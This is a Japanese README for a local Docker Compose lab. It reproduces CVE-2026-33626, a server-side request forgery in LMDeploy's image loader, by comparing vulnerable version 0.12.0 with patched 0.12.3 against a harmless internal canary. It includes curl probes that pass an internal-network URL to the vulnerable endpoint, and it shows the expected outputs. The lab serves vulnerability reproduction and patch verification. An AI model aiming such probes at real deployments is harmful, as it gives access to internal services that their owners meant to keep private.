このリポジトリは、LMDeploy の vision-language 画像ロード経路における Server-Side Request Forgery(SSRF)脆弱性である CVE-2026-33626 を再現します。
脆弱な動作は、LMDeploy が画像 URL を受け取り、サーバー側の画像ローダーが内部・プライベート・ループバック・リンクローカルアドレスを適切にブロックせずにその URL を取得したときに発生します。
このラボは以下を比較します:
| Service | Version | Purpose |
|---|---|---|
vuln | LMDeploy 0.12.0 | 脆弱な動作を示します |
patched | LMDeploy 0.12.3 | パッチ適用後の動作を示します |
internal | Local canary service | Docker ネットワーク内の内部専用リソースをシミュレートします |
このラボは Docker Compose でローカルに実行するように設計されており、クラウドのメタデータエンドポイントや外部ターゲットには接続しません。
LMDeploy は、ユーザーが指定した URL から画像をロードできる vision-language ワークフローをサポートしています。脆弱なバージョンでは、画像ロードコードが内部/プライベートネットワークアドレスに解決される URL を取得できてしまいます。
これにより、LMDeploy エンドポイントにアクセスできる攻撃者が、サーバーに内部リソースをリクエストさせることができる可能性があります。例:
このラボでは、内部ターゲットは意図的に無害なものにしています:
http://internal:9000/private.png
この URL は Docker Compose ネットワーク内にのみ存在します。
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
このラボは完全な VLM 推論サーバーを実行しません。代わりに、脆弱な LMDeploy 画像ロードプリミティブを以下の呼び出しで切り出しています:
from lmdeploy.vl import load_image
load_image(url)
これにより、再現を軽量かつ決定的に保ちながら、パッチ適用で修正されたセキュリティ動作を示すことができます。
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
Docker ネットワーク内では、内部カナリアに以下のように到達できます:
http://internal:9000/private.png
Apple Silicon では、このラボで使用する LMDeploy wheel が x86_64 向けのため、vuln と patched サービスは linux/amd64 として実行されます。
サービスをビルドして起動します:
docker compose up -d --build
コンテナの状態を確認します:
docker compose ps
期待される状態:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
期待される出力:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
仮想環境を作成し、依存関係をインストールします:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
PoC を実行します:
python poc/poc.py
デフォルトの SSRF ターゲットは以下です:
http://internal:9000/private.png
このターゲットは Docker コンテナからは到達可能ですが、パブリックインターネットからは到達できません。
脆弱なサービスは、内部カナリア画像の取得に成功するはずです:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
これにより、LMDeploy 0.12.0 が内部 Docker サービスに対してサーバーサイドリクエストを行ったことが確認できます。
パッチ適用済みサービスは、内部サービスに到達する前に同じ URL をブロックするはずです:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
これにより、LMDeploy 0.12.3 が非グローバル/内部 IP アドレスに解決される URL をブロックすることが確認できます。
最終的な期待されるサマリー:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
内部カナリアをリセットします:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
脆弱なサービスをテストします:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
期待される結果:/hits に 1 件のリクエストが記録されます。
パッチ適用済みサービスをテストします:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
期待される結果:/hits は空のままです。
PoC は攻撃者として内部サービスに直接リクエストを送るわけではありません。
代わりに、PoC は内部 URL を LMDeploy に送信します。LMDeploy がコンテナネットワーク内からその URL を取得すると、内部カナリアがリクエストを記録します。
この動作が SSRF プリミティブを証明します:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
パッチ適用済みバージョンは、非グローバル IP アドレスに解決される URL を拒否することでこれを防ぎます。
docker compose down -v
GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
パッチコミット: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
プルリクエスト: #4447 https://github.com/InternLM/lmdeploy/pull/4447
| Service | Host URL | Container Port | Description |
|---|
vuln | http://127.0.0.1:8081 | 8000 | LMDeploy 0.12.0 ラッパー |
patched | http://127.0.0.1:8082 | 8000 | LMDeploy 0.12.3 ラッパー |
internal | http://127.0.0.1:8090 | 9000 | 内部カナリアサービス |